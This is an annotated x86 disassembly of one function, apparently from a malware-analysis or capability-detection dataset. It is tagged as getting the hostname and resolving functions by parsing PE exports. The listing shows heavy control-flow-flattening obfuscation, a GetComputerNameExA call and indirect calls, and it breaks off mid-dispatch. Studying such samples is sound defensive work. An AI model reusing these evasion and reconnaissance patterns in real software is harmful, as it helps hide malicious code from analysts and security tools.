Function at 0x435818
Capabilities:
Get hostname
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x1f8
mov esi, esp
mov dword [esi + 4], 0x7b829d7e
mov eax, dword [esi + 4]
cmp eax, 0xf85c6f05
jle 0x4358be
cmp eax, 0x323e634f
jg 0x43594e
cmp eax, 0x129528ff
jg 0x435a4e
cmp eax, 0x5d2b444
jg 0x435c33
cmp eax, 0xff6a3c05
jg 0x435f97
cmp eax, 0xfc921bf4
jg 0x4365c3
cmp eax, 0xfb735db8
jg 0x4370e4
cmp eax, 0xf85c6f06
je 0x43845d
cmp eax, 0xf884d28d
je 0x438486
cmp eax, 0xf92adab8
jne 0x435830
imul ecx, dword [esi + 8], 0x67600000
mov dword [esi + 8], ecx
mov eax, 0x2348d221
test ecx, ecx
je 0x43af23
mov eax, 0x7590f0fe
jmp 0x43af23
cmp eax, 0xb8fc25e4
jle 0x4359df
cmp eax, 0xd7d12a06
jg 0x435ac8
cmp eax, 0xc790f37d
jg 0x435c98
cmp eax, 0xbf762f4f
jg 0x435fec
cmp eax, 0xbb71be42
jg 0x436625
cmp eax, 0xba62117f
jg 0x43711a
cmp eax, 0xb8fc25e5
je 0x4384b1
cmp eax, 0xb900e2fe
je 0x4384e0
cmp eax, 0xba19f14a
jne 0x435830
imul eax, dword [esi + 0xc], 0x85
mov dword [esi + 0xc], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x402f
dec edx
mov eax, 0xf884d28d
cmp edx, ecx
je 0x43b136
mov eax, 0x826ee42d
jmp 0x43b136
cmp eax, 0x5201ec0b
jg 0x435b52
cmp eax, 0x3f742006
jg 0x435d04
cmp eax, 0x369d02ba
jg 0x43604b
cmp eax, 0x3478b7e0
jg 0x4366aa
cmp eax, 0x3325a9b6
jg 0x437177
cmp eax, 0x323e6350
je 0x438518
cmp eax, 0x3266c6ca
je 0x438548
cmp eax, 0x3276d90c
jne 0x435830
imul edi, dword [esi + 8], 0x6c8000
add edi, 0xfffe9bfc
mov dword [esi + 8], edi
push 0x6166
push edi
push 0xc56
call fcn.00425c83
add esp, 0xc
mov eax, 0xd5c46b10
cmp edi, 0xde
jge 0x43702a
jmp 0x43af23
cmp eax, 0x9dfccdd6
jg 0x435bcf
cmp eax, 0x8ecd0d60
jg 0x435d76
cmp eax, 0x86f9a22d
jg 0x43609c
cmp eax, 0x8410c220
jg 0x436706
cmp eax, 0x82fc375e
jg 0x4371c3
cmp eax, 0x80002f72
je 0x438563
cmp eax, 0x81e12f62
je 0x438584
cmp eax, 0x826ee42d
jne 0x435830
mov eax, dword [esi + 0x14c]
mov word [eax], 0xa
mov dword [esi + 4], 0xe5444044
jmp 0x435830
cmp eax, 0x2132dcda
jg 0x435df3
cmp eax, 0x18d9f314
jg 0x436144
cmp eax, 0x157b8e01
jg 0x436750
cmp eax, 0x1401a1cb
jg 0x437212
cmp eax, 0x12952900
je 0x4385a4
cmp eax, 0x1314e9f5
je 0x4385b0
cmp eax, 0x13ed62a0
jne 0x435830
imul ecx, dword [esi + 8], 0x2580
add ecx, 0xffffffc2
mov eax, ecx
shr eax, 2
mov dword [esi + 8], eax
mov eax, 0x6a910d02
cmp ecx, 0x240
jae 0x43af23
mov eax, 0xcad77578
jmp 0x43af23
cmp eax, 0xe680363e
jg 0x435e61
cmp eax, 0xe112a8d7
jg 0x4361b1
cmp eax, 0xdc12883a
jg 0x436788
cmp eax, 0xd9c3e8ef
jg 0x437267
cmp eax, 0xd7d12a07
je 0x4385d5
cmp eax, 0xd88ce2bb
je 0x43860d
cmp eax, 0xd914716f
jne 0x435830
imul eax, dword [esi + 0xc], 0xc7
add eax, 0x1e51
shr eax, 9
mov ecx, eax
imul ecx, eax
add eax, 0xfffffebb
imul edx, ecx, 0x6cb
dec edx
shr eax, 9
mov dword [esi + 0xc], eax
mov eax, 0xf18aa5e7
cmp ecx, edx
je 0x43b136
mov eax, 0xf884d28d
jmp 0x43b136
cmp eax, 0x6a332554
jg 0x435ebb
cmp eax, 0x5c26d241
jg 0x436215
cmp eax, 0x56e558fc
jg 0x4367d8
cmp eax, 0x54c5384b
jg 0x4372ac
cmp eax, 0x5201ec0c
je 0x438642
cmp eax, 0x524f7fc6
je 0x438683
cmp eax, 0x52f1c848
jne 0x435830
push 0x16
push dword [esi + 0x104]
push dword [esi + 0x78]
call fcn.004441d0
add esp, 0xc
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
mov dword [esi + 0x1ec], eax
mov dword [esi + 4], 0x7fe3d7a
jmp 0x435830
cmp eax, 0xab04b21c
jle 0x435f2b
cmp eax, 0xb11ae241
jg 0x436267
cmp eax, 0xaed98af2
jg 0x436831
cmp eax, 0xac4128e6
jg 0x4372f1
cmp eax, 0xab04b21d
je 0x43869e
cmp eax, 0xab637620
je 0x4386be
cmp eax, 0xab8a5b55
jne 0x435830
mov eax, dword [esi + 0x198]
mov word [eax], 0xa
mov dword [esi + 4], 0xc7289447
jmp 0x435830
cmp eax, 0xd57c853
jg 0x4362cb
cmp eax, 0xa2b8fee
jg 0x43688f
cmp eax, 0x7d607cf
jg 0x43732a
cmp eax, 0x5d2b445
je 0x4386f0
cmp eax, 0x6c7ffcc
je 0x43871a
cmp eax, 0x6f32ba4
jne 0x435830
push 5
push 0x4740eb
push 0xf
push dword [esi + 0x84]
call fcn.0043b2c0
add esp, 0x10
mov dword [esi + 4], 0x83fc6d78
jmp 0x435830
cmp eax, 0xd1dcb68c
jg 0x436325
cmp eax, 0xce7ace37
jg 0x4368c7
cmp eax, 0xc91f0dc6
jg 0x437384
cmp eax, 0xc790f37e
je 0x438755
cmp eax, 0xc7e3c84f
je 0x43876d
cmp eax, 0xc7f149d1
jne 0x435830
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd0]
mov dword [esi + 0x1a4], eax
mov dword [esi + 4], 0x15d2c650
jmp 0x435830
cmp eax, 0x461cce8b
jg 0x436398
cmp eax, 0x427e6b9b
jg 0x43691c
cmp eax, 0x4160e19a
jg 0x4373da
cmp eax, 0x3f742007
je 0x4387a2
cmp eax, 0x408dfb0c
je 0x4387cf
cmp eax, 0x411b18cb
jne 0x435830
imul edi, dword [esi + 8], 0x688512
add edi, 0x2a54a1df
mov dword [esi + 8], edi
call fcn.00407763
mov eax, 0xd9df720d
cmp edi, 0xd2
jge 0x43b136
mov eax, 0xbeafbe88
jmp 0x43b136
cmp eax, 0x996aa53d
jg 0x4363e4
cmp eax, 0x94d41fcb
jg 0x43698c
cmp eax, 0x92472d10
jg 0x437429
cmp eax, 0x8ecd0d61
je 0x4387ec
cmp eax, 0x8efadeee
je 0x438817
cmp eax, 0x90a7d722
jne 0x435830
mov eax, dword [esi + 0xc]
shr eax, 2
imul eax, eax, 0xbf
shr eax, 7
mov ecx, eax
imul ecx, eax
add eax, 0xffffffe9
imul edx, ecx, 0x7ef7
dec edx
shr eax, 0xd
mov dword [esi + 0xc], eax
mov eax, 0x425df280
cmp edx, ecx
je 0x43b136
mov eax, 0x2709ba19
jmp 0x43b136
cmp eax, 0x2cb551f5
jg 0x436467
cmp eax, 0x2709ba18
jg 0x4369c7
cmp eax, 0x24f64720
jg 0x43747d
cmp eax, 0x2132dcdb
je 0x43882c
cmp eax, 0x222ed80b
je 0x43885e
cmp eax, 0x2348d221
jne 0x435830
imul ecx, dword [esi + 8], 0x212d
add ecx, 0x13705e
shr ecx, 8
add ecx, 0xffffff80
mov dword [esi + 8], ecx
mov eax, 0x55e9cc84
cmp ecx, 0xfc
jae 0x4381dc
jmp 0x43af23
cmp eax, 0xf1b89797
jg 0x4364de
cmp eax, 0xec44c6ed
jg 0x436a1d
cmp eax, 0xeb070363
jg 0x4374d9
cmp eax, 0xe680363f
je 0x438886
cmp eax, 0xe6fb631d
je 0x43889c
cmp eax, 0xe910e548
jne 0x435830
mov eax, dword [esi + 0x14]
add eax, 0x14
mov dword [esi + 0x1c0], eax
mov dword [esi + 4], 0x1b484b2e
jmp 0x435830
cmp eax, 0x73876ae6
jg 0x43652c
cmp eax, 0x6d1dd2c9
jg 0x436a88
cmp eax, 0x6b36a75b
jg 0x437520
cmp eax, 0x6a332555
je 0x4388e8
cmp eax, 0x6a428a4e
je 0x438905
cmp eax, 0x6a910d02
jne 0x435830
mov eax, dword [esi + 8]
shl eax, 0xd
add eax, 0xffffff37
shr eax, 0xc
add eax, 0x3a
mov dword [esi + 8], eax
mov ecx, 0xede0b7b1
cmp eax, 0xa1
je 0x439f72
mov ecx, 0x782282a6
jmp 0x439f72
cmp eax, 0xa30b2c57
jg 0x43656f
cmp eax, 0xa0519cbf
jg 0x436ad4
cmp eax, 0xa014e767
jg 0x437599
cmp eax, 0x9dfccdd7
je 0x438930
cmp eax, 0x9e42c244
je 0x43896d
cmp eax, 0x9f39c676
jne 0x435830
imul ecx, dword [esi + 8], 0x5388
mov eax, ecx
shr eax, 0xf
mov dword [esi + 8], eax
mov eax, 0xf884d28d
cmp ecx, 0x5b0000
jae 0x43b136
mov eax, 0xe2e8a630
jmp 0x43b136
cmp eax, 0x1afdfd6
jg 0x436b1b
cmp eax, 0x173755b
jg 0x4375c6
cmp eax, 0xff6a3c06
je 0x438998
cmp eax, 0x579704
je 0x4389b7
cmp eax, 0x127c5d7
jne 0x435830
push 1
push 0xa
call fcn.0044f313
add esp, 8
mov dword [esi + 0x124], eax
mov dword [esi + 4], 0xd5e027db
jmp 0x435830
cmp eax, 0xc45b011b
jg 0x436b9d
cmp eax, 0xc2428241
jg 0x43760a
cmp eax, 0xbf762f50
je 0x4389f6
cmp eax, 0xc02aa3de
je 0x438a2a
cmp eax, 0xc0cd4a34
jne 0x435830
push dword [esi + 0x18]
push dword [esi + 0x50]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x54]
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xac], eax
mov dword [esi + 4], 0xbf762f50
jmp 0x435830
cmp eax, 0x398a740d
jg 0x436be6
cmp eax, 0x375c1a19
jg 0x437668
cmp eax, 0x369d02bb
je 0x438a5a
cmp eax, 0x36c848d1
je 0x438ac3
cmp eax, 0x36d9640b
jne 0x435830
mov eax, dword [esi + 8]
shl eax, 0x1c
or eax, 0x2b20fa
mov dword [esi + 8], eax
mov dword [esi + 4], 0x3df9b996
jmp 0x435830
cmp eax, 0x8b26ba5f
jg 0x436c58
cmp eax, 0x87c33b4d
jg 0x4376a2
cmp eax, 0x86f9a22e
je 0x438afe
cmp eax, 0x8792d193
je 0x438b0a
cmp eax, 0x87978f14
jne 0x435830
push 6
push 0x474150
push 0xd
push dword [esi + 0xa4]
call fcn.0043b2c0
add esp, 0x10
mov eax, dword [esi + 0x44]
mov ecx, dword [esi + 0xa4]
movzx edx, word [ecx + 0xc]
mov word [eax + 0xc], dx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x44]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
push dword [esi + 0x40]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
mov dword [esi + 0x164], eax
mov dword [esi + 4], 0xcaa99b05
jmp 0x435830
cmp eax, 0x1c21aa60
jg 0x436ca0
cmp eax, 0x1af124ce
jg 0x437707
cmp eax, 0x18d9f315
je 0x438b25
cmp eax, 0x19710da0
je 0x438b6d
cmp eax, 0x1adb96c9
jne 0x435830
mov eax, dword [esi + 0xc]
shr eax, 8
imul ecx, eax, 0x4300
imul eax, eax
imul edx, eax, 0x242b
dec edx
add ecx, 0xffff2fac
mov dword [esi + 0xc], ecx
mov ecx, 0x826ee42d
cmp edx, eax
je 0x43b173
mov ecx, 0xe67f83a
jmp 0x43b173
cmp eax, 0xe38d4442
jg 0x436cf1
cmp eax, 0xe2e8a62f
jg 0x437775
cmp eax, 0xe112a8d8
je 0x438b9d
cmp eax, 0xe1cbe720
je 0x438bd8
cmp eax, 0xe2af09d8
jne 0x435830
imul edi, dword [esi + 8], 0xaa
add edi, 0xffffff25
mov dword [esi + 8], edi
call fcn.00407763
mov eax, 0x45dda33e
cmp edi, 0x2d
jb 0x43af23
mov eax, 0xf59aa411
jmp 0x43af23
cmp eax, 0x64f6c2e4
jg 0x436d4d
cmp eax, 0x6145a3fb
jg 0x4377bb
cmp eax, 0x5c26d242
je 0x438bfb
cmp eax, 0x5e631d97
je 0x438c30
cmp eax, 0x5eb38df1
jne 0x435830
mov eax, dword [esi + 0x100]
add eax, 0x1d
mov dword [esi + 0x1e8], eax
mov dword [esi + 4], 0x2eac4378
jmp 0x435830
cmp eax, 0xb3ca34d1
jg 0x436db2
cmp eax, 0xb1a57c99
jg 0x437811
cmp eax, 0xb11ae242
je 0x438c6e
cmp eax, 0xb14b28f1
je 0x438c7a
cmp eax, 0xb1520a45
jne 0x435830
mov edi, dword [esi + 8]
shl edi, 0xd
add edi, 0xfffdc000
mov dword [esi + 8], edi
push edi
call fcn.00435818
add esp, 4
push edi
call fcn.00435818
add esp, 4
mov dword [esi + 4], 0xf92adab8
jmp 0x435830
cmp eax, 0x1078dc1b
jg 0x436e36
cmp eax, 0xe99d363
jg 0x437847
cmp eax, 0xd57c854
je 0x438c86
cmp eax, 0xdd53c68
je 0x438caa
cmp eax, 0xe67f83a
jne 0x435830
push 7
push 0x47413c
push 0xa
push dword [esi + 0xa0]
call fcn.0043b2c0
add esp, 0x10
mov dword [esi + 4], 0xb48e79f6
jmp 0x435830
cmp eax, 0xd5c46b0f
jg 0x436e99
cmp eax, 0xd40c2a9a
jg 0x437880
cmp eax, 0xd1dcb68d
je 0x438cd0
cmp eax, 0xd2823ab7
je 0x438d03
cmp eax, 0xd35847e5
jne 0x435830
mov eax, dword [esi + 0x6c]
mov dword [eax + 4], 0x203a55
mov dword [eax], 0x5047202d
push dword [esi + 0x6c]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
mov eax, dword [esi + 0x20]
add eax, 0x24
push eax
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
mov dword [esi + 4], 0xe1cbe720
jmp 0x435830
cmp eax, 0x4d3b7e03
jg 0x436efc
cmp eax, 0x47ca0204
jg 0x4378b0
cmp eax, 0x461cce8c
je 0x438d36
cmp eax, 0x472e3cc0
je 0x438d53
cmp eax, 0x475d0cae
jne 0x435830
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
mov dword [esi + 4], 0xcb0fbf0
jmp 0x435830
cmp eax, 0x9c2fd434
jg 0x436f43
cmp eax, 0x9a40de0f
jg 0x43792e
cmp eax, 0x996aa53e
je 0x438d70
cmp eax, 0x99c5c021
je 0x438d93
cmp eax, 0x99fadd29
jne 0x435830
imul eax, dword [esi + 8], 0xd400
shr eax, 7
imul edi, eax, 0x13b0
add edi, 0x54e70
mov dword [esi + 8], edi
push 0x3cd1
push 0x6fe
push edi
call fcn.00425c83
add esp, 0xc
call fcn.00407763
mov eax, 0xa014e768
cmp edi, 0xfd
jae 0x43af23
mov eax, 0x9c55db8d
jmp 0x43af23
cmp eax, 0x2e8e5f5d
jg 0x436f87
cmp eax, 0x2dce13cf
jg 0x437979
cmp eax, 0x2cb551f6
je 0x438dad
cmp eax, 0x2cecd9f4
je 0x438dc7
cmp eax, 0x2d0cd768
jne 0x435830
imul edi, dword [esi + 8], 0x3ca
add edi, 0xfffe3866
mov dword [esi + 8], edi
push 0x5a8e
push 0x2f22
push 0x606e
push edi
call fcn.0043b1a0
add esp, 0x10
mov eax, 0x18d9f315
cmp edi, 3
jb 0x43af23
mov eax, 0x83fc6d78
jmp 0x43af23
cmp eax, 0xf562b188
jg 0x436fdd
cmp eax, 0xf4663ab0
jg 0x4379b9
cmp eax, 0xf1b89798
je 0x438df8
cmp eax, 0xf33e381b
je 0x438e1c
cmp eax, 0xf44ecfb2
jne 0x435830
mov eax, dword [esi + 0x160]
mov word [eax], 0xa
mov dword [esi + 4], 0x9ddfb641
jmp 0x435830
cmp eax, 0x79322a21
jg 0x437034
cmp eax, 0x7590f0fd
jg 0x437a1b
cmp eax, 0x73876ae7
je 0x438e65
cmp eax, 0x74b82696
je 0x438ea7
cmp eax, 0x753381f7
jne 0x435830
mov dword [esi + 4], 0xf562b189
jmp 0x435830
cmp eax, 0xa7677bd9
jle 0x4370ac
cmp eax, 0xa8be00b8
jg 0x437a57
cmp eax, 0xa7677bda
je 0x438edd
cmp eax, 0xa7949b7e
je 0x438f21
cmp eax, 0xa8ac93ea
jne 0x435830
call fcn.004250ad
push eax
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
mov dword [esi + 4], 0x3f742007
jmp 0x435830
cmp eax, 0xfe9cbc92
jg 0x437a93
cmp eax, 0xfc921bf5
je 0x438f30
cmp eax, 0xfca43b8f
je 0x438f58
cmp eax, 0xfe34094c
jne 0x435830
mov eax, dword [esi + 8]
lea edi, [eax*8 - 0x121c0]
and edi, 0xfffff800
add edi, 0xffffff5f
mov dword [esi + 8], edi
call fcn.00407763
mov eax, 0x2dce13d0
cmp edi, 0x1e
jge 0x43af23
mov eax, 0x475d0cae
jmp 0x43af23
cmp eax, 0xbd4ff6ab
jg 0x437ae8
cmp eax, 0xbb71be43
je 0x438fac
cmp eax, 0xbba16f90
je 0x438fc4
cmp eax, 0xbd121001
jne 0x435830
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd4]
mov dword [esi + 0x1a8], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x19c]
mov dword [eax], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1a0]
mov dword [eax + 4], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1a4]
mov dword [eax + 8], ecx
mov eax, dword [esi + 0x14]
add eax, 0xc
mov dword [esi + 0x1ac], eax
mov dword [esi + 4], 0xd73ceb27
jmp 0x435830
cmp eax, 0x3597512a
jg 0x437b39
cmp eax, 0x3478b7e1
je 0x438fe8
cmp eax, 0x34af77a1
je 0x439083
cmp eax, 0x357cb794
jne 0x435830
mov edi, dword [esi + 8]
shr edi, 7
add edi, 0xffffff86
mov dword [esi + 8], edi
push edi
call fcn.00435818
add esp, 4
mov eax, 0x475d0cae
cmp edi, 0xe7
je 0x43af23
mov eax, 0xd02223be
jmp 0x43af23
cmp eax, 0x850da2ba
jg 0x437b77
cmp eax, 0x8410c221
je 0x4390a7
cmp eax, 0x84554dd1
je 0x4390cc
cmp eax, 0x8509b7d8
jne 0x435830
mov eax, dword [esi + 0x130]
mov ecx, dword [esi + 0x134]
mov dword [esi + 0x1e4], eax
mov dword [esi + 4], 0xd40c2a9b
jmp 0x435830
cmp eax, 0x15fa78a3
jg 0x437bdc
cmp eax, 0x157b8e02
je 0x4390d8
cmp eax, 0x15a09b8c
je 0x439104
cmp eax, 0x15d2c650
jne 0x435830
mov dword [esi + 4], 0xbd121001
jmp 0x435830
cmp eax, 0xdea971bb
jg 0x437c18
cmp eax, 0xdc12883b
je 0x439146
cmp eax, 0xdcc6f548
je 0x43917b
cmp eax, 0xddae6694
jne 0x435830
mov eax, dword [esi + 0x1c]
mov eax, dword [eax + 8]
mov dword [esi + 0x16c], eax
mov eax, dword [esi + 0x1c]
mov eax, dword [eax + 4]
mov dword [esi + 0x170], eax
mov dword [esi + 4], 0xa141c1ec
jmp 0x435830
cmp eax, 0x5966d6ab
jg 0x437c91
cmp eax, 0x56e558fd
je 0x4391b5
cmp eax, 0x579967ae
je 0x439220
cmp eax, 0x58d7c070
jne 0x435830
mov eax, dword [esi + 0x9c]
mov word [eax + 0x18], 0
push 0x18
push 0x468b90
push dword [esi + 0x9c]
call fcn.004441d0
add esp, 0xc
mov dword [esi + 4], 0x3d690808
jmp 0x435830
cmp eax, 0xaff91869
jg 0x437ce2
cmp eax, 0xaed98af3
je 0x439251
cmp eax, 0xaf54701f
je 0x4392a0
cmp eax, 0xaf92ce38
jne 0x435830
mov eax, dword [esi + 8]
shl eax, 0x12
add eax, 0x2f98800
mov dword [esi + 8], eax
push 0x51c8
push eax
push 0x5cf3
push 0x26f6
call fcn.0043b1a0
add esp, 0x10
mov dword [esi + 4], 0xd9df720d
jmp 0x435830
cmp eax, 0xb92cdf5
jg 0x437d18
cmp eax, 0xa2b8fef
je 0x4392cf
cmp eax, 0xa87d953
je 0x43931d
cmp eax, 0xb7f4f9c
jne 0x435830
mov dword [esi + 4], 0x2a06db1b
jmp 0x435830
cmp eax, 0xd00f3da2
jg 0x437d74
cmp eax, 0xce7ace38
je 0x439360
cmp eax, 0xcf0ed0fc
je 0x43936c
cmp eax, 0xcf303784
jne 0x435830
imul eax, dword [esi + 8], 0xc8
shr eax, 0x17
imul eax, eax, 0x22bc
add eax, 0xffffe9ec
mov dword [esi + 8], eax
call fcn.00407763
mov dword [esi + 4], 0x8eaab81d
jmp 0x435830
cmp eax, 0x4475c09b
jg 0x437df2
cmp eax, 0x427e6b9c
je 0x43937e
cmp eax, 0x43745cb4
je 0x439396
cmp eax, 0x444b1400
jne 0x435830
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x68], eax
sub esp, 0x1a8
mov eax, esp
mov dword [esi + 0x20], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x6c], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x24], eax
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x70], eax
push eax
mov eax, esp
mov dword [esi + 0x74], eax
mov dword [esi + 4], 0xc3c216ce
jmp 0x435830
cmp eax, 0x9659fc8a
jg 0x437e5f
cmp eax, 0x94d41fcc
je 0x4393a2
cmp eax, 0x94fbdada
je 0x4393ae
cmp eax, 0x959ee4ba
jne 0x435830
mov eax, dword [esi + 0x28]
mov dword [esi + 4], 0xb3955f7b
jmp 0x435830
cmp eax, 0x2b60bfec
jg 0x437e98
cmp eax, 0x2709ba19
je 0x4393ea
cmp eax, 0x2953b9f6
je 0x439405
cmp eax, 0x2a06db1b
jne 0x435830
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov dword [esi + 0x1a0], eax
mov dword [esi + 4], 0xc7f149d1
jmp 0x435830
cmp eax, 0xede0b7b0
jg 0x437ed3
cmp eax, 0xec44c6ee
je 0x439451
cmp eax, 0xed1b63f6
je 0x439474
cmp eax, 0xedd65c39
jne 0x435830
push dword [esi + 0x118]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x5c]
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xb8], eax
mov dword [esi + 4], 0x56e558fd
jmp 0x435830
cmp eax, 0x7131b82d
jg 0x437f19
cmp eax, 0x6d1dd2ca
je 0x43948f
cmp eax, 0x6d5ca6a6
je 0x4394ec
cmp eax, 0x6f4f0b35
jne 0x435830
mov eax, dword [esi + 0x158]
push dword [esi + 0x28]
push dword [esi + 0x110]
call eax
mov eax, dword [esi + 0x2c]
mov dword [esi + 4], 0x398a740e
jmp 0x435830
cmp eax, 0xa16d3974
jg 0x437f77
cmp eax, 0xa0519cc0
je 0x43950a
cmp eax, 0xa098f6f1
je 0x439544
cmp eax, 0xa141c1ec
jne 0x435830
imul eax, dword [esi + 0xc], 0xcf480000
add eax, 0x6257fffd
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x64f6c2e5
jmp 0x435830
cmp eax, 0x3fd5b53
jg 0x437fb6
cmp eax, 0x1afdfd7
je 0x439565
cmp eax, 0x229630c
je 0x4395a8
cmp eax, 0x31419f4
jne 0x435830
imul edi, dword [esi + 8], 0x9f13
add edi, 0xb7678
mov dword [esi + 8], edi
push 0x1a1f
push 0x5d86
push 0x55d4
push edi
call fcn.0043b1a0
add esp, 0x10
push 0x313e
push edi
push 0x5aec
push 0x548f
call fcn.0043b2c0
add esp, 0x10
mov eax, 0xf884d28d
cmp edi, 0xaa
jl 0x439313
jmp 0x43b136
cmp eax, 0xc5e14dad
jg 0x437fe8
cmp eax, 0xc45b011c
je 0x4395c3
cmp eax, 0xc506f8ea
je 0x4395e2
cmp eax, 0xc5819afb
jne 0x435830
push dword [esi + 0x1c]
call fcn.004414c0
add esp, 4
mov dword [esi + 0x168], eax
mov dword [esi + 4], 0xc5e14dae
jmp 0x435830
cmp eax, 0x3d690807
jg 0x438024
cmp eax, 0x398a740e
je 0x4395fa
cmp eax, 0x3a46006d
je 0x439633
cmp eax, 0x3b0a7754
jne 0x435830
mov eax, dword [esi + 0x194]
mov edi, 0x55
push edi
push dword [esi + 0x11c]
call eax
push 1
push edi
call fcn.0044f313
add esp, 8
mov dword [esi + 0x120], eax
push edi
push dword [esi + 0x11c]
push dword [esi + 0x120]
call fcn.00454136
add esp, 0xc
mov dword [esi + 4], 0x4f3bd559
jmp 0x435830
cmp eax, 0x8da7a2e6
jg 0x438057
cmp eax, 0x8b26ba60
je 0x43964e
cmp eax, 0x8bd3325c
je 0x439678
cmp eax, 0x8c9a7c36
jne 0x435830
mov eax, dword [esi + 0xc]
mov ecx, 0xc8
add eax, ecx
shr eax, 0x10
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x6d1dd2ca
jmp 0x435830
cmp eax, 0x1f54ac27
jg 0x4380cd
cmp eax, 0x1c21aa61
je 0x4396b6
cmp eax, 0x1cdc5410
je 0x4396db
cmp eax, 0x1d8ef52a
jne 0x435830
push dword [esi + 0xfc]
push 0x5f086d32
call fcn.0043eca4
add esp, 8
mov dword [esi + 0x1e0], eax
mov dword [esi + 4], 0x850da2bb
jmp 0x435830
cmp eax, 0xe5545475
jg 0x438127
cmp eax, 0xe38d4443
je 0x43971f
cmp eax, 0xe49f780e
je 0x43973c
cmp eax, 0xe5444044
jne 0x435830
mov eax, dword [esi + 0xc]
lea ecx, [eax + 0xe2]
imul ecx, ecx
imul edx, ecx, 0x4629
dec edx
add eax, 0x59
mov dword [esi + 0xc], eax
mov eax, 0xff0f7585
cmp ecx, edx
je 0x43b136
mov eax, 0x3361bb01
jmp 0x43b136
cmp eax, 0x673f437c
jg 0x438173
cmp eax, 0x64f6c2e5
je 0x439767
cmp eax, 0x65cb1f62
je 0x43977e
cmp eax, 0x670d9188
jne 0x435830
mov edi, dword [esi + 8]
shl edi, 4
add edi, 0x9d3
mov eax, edi
shr eax, 0xa
add eax, 0xffffff38
mov dword [esi + 8], eax
call fcn.00407763
mov eax, 0x1314e9f5
cmp edi, 0x6ec00
jae 0x43af23
mov eax, 0xfd4792a
jmp 0x43af23
cmp eax, 0xb66cf8ec
jg 0x4381e6
cmp eax, 0xb3ca34d2
je 0x4397b2
cmp eax, 0xb48e79f6
je 0x4397eb
cmp eax, 0xb5399fba
jne 0x435830
imul edi, dword [esi + 8], 0x57
add edi, 0xffffc1b0
mov dword [esi + 8], edi
push 0x3242
push 0x61ac
push 0x55f0
push edi
call fcn.0043b1a0
add esp, 0x10
push edi
push 0x282b
push 0x5df9
push 0x32f4
call fcn.0043b1a0
add esp, 0x10
mov eax, 0x6f4f0b35
cmp edi, 0xd5
jl 0x43b136
mov eax, 0x3d690808
jmp 0x43b136
cmp eax, 0x114320ad
jg 0x43823a
cmp eax, 0x1078dc1c
je 0x439810
cmp eax, 0x10de9247
je 0x43982b
cmp eax, 0x10f35983
jne 0x435830
imul eax, dword [esi + 8], 0xfd
add eax, 0x48
shr eax, 0xe
imul ecx, eax, 0x98
add ecx, 0xffffba88
mov dword [esi + 8], ecx
mov eax, 0xe67f83a
cmp ecx, 0xe6
jb 0x43af23
mov eax, 0x1fcf7e4a
jmp 0x43af23
cmp eax, 0xd6d9a042
jg 0x438275
cmp eax, 0xd5c46b10
je 0x439856
cmp eax, 0xd5e027db
je 0x4398a1
cmp eax, 0xd5e1a957
jne 0x435830
mov eax, dword [esi + 0xc]
add eax, 0x7e
shr eax, 9
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x5961
dec edx
shl eax, 0xf
add eax, 0xff818000
mov dword [esi + 0xc], eax
mov eax, 0x6f32ba4
cmp edx, ecx
je 0x43b136
mov eax, 0xedd65c39
jmp 0x43b136
cmp eax, 0x4fabe3a1
jg 0x4382b1
cmp eax, 0x4d3b7e04
je 0x4398db
cmp eax, 0x4e4af96b
je 0x4398ea
cmp eax, 0x4f3bd559
jne 0x435830
imul eax, dword [esi + 0xc], 0x58
add eax, 0xfffff4b5
shr eax, 3
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xeb070364
jmp 0x435830
cmp eax, 0x9cc835e9
jg 0x4382f0
cmp eax, 0x9c2fd435
je 0x439932
cmp eax, 0x9c55db8d
je 0x43995f
cmp eax, 0x9c9ae2ee
jne 0x435830
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1c8]
mov dword [eax + 0x24], ecx
mov dword [esi + 4], 0xfd4792a
jmp 0x435830
cmp eax, 0x2f07c3bd
jg 0x438320
cmp eax, 0x2e8e5f5e
je 0x439988
cmp eax, 0x2e8f3ae5
je 0x4399b6
cmp eax, 0x2eac4378
jne 0x435830
mov eax, dword [esi + 0x1e8]
mov byte [eax], 0
push 0x1d
push 0x474210
push dword [esi + 0x100]
call fcn.004441d0
add esp, 0xc
mov dword [esi + 4], 0xd1dcb68d
jmp 0x435830
cmp eax, 0xf7292250
jg 0x43837e
